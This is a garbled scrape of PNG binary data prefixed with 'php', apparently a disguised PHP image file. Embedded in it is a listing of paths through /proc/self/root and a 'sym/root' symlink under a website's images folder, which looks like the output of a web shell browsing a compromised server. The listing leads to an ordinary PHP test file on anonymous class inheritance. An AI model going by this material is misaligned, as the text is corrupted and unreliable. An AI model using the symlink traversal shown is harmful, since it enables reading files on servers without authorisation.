php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /proc/self/root/var/www/html/sub/images/sym/root/opt/php-7.0.1/Zend/tests/anon/ |
| files >> //proc/self/root/var/www/html/sub/images/sym/root/opt/php-7.0.1/Zend/tests/anon/004.phpt |
--TEST--
testing anonymous inheritance
--FILE--
<?php
class Outer {
protected $data;
public function __construct($data) {
$this->data = $data;
}
public function getArrayAccess() {
/* create a proxy object implementing array access */
return new class($this->data) extends Outer implements ArrayAccess {
public function offsetGet($offset) { return $this->data[$offset]; }
public function offsetSet($offset, $data) { return ($this->data[$offset] = $data); }
public function offsetUnset($offset) { unset($this->data[$offset]); }
public function offsetExists($offset) { return isset($this->data[$offset]); }
};
}
}
$outer = new Outer(array(
rand(1, 100)
));
/* not null because inheritance */
var_dump($outer->getArrayAccess()[0]);
--EXPECTF--
int(%d)
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`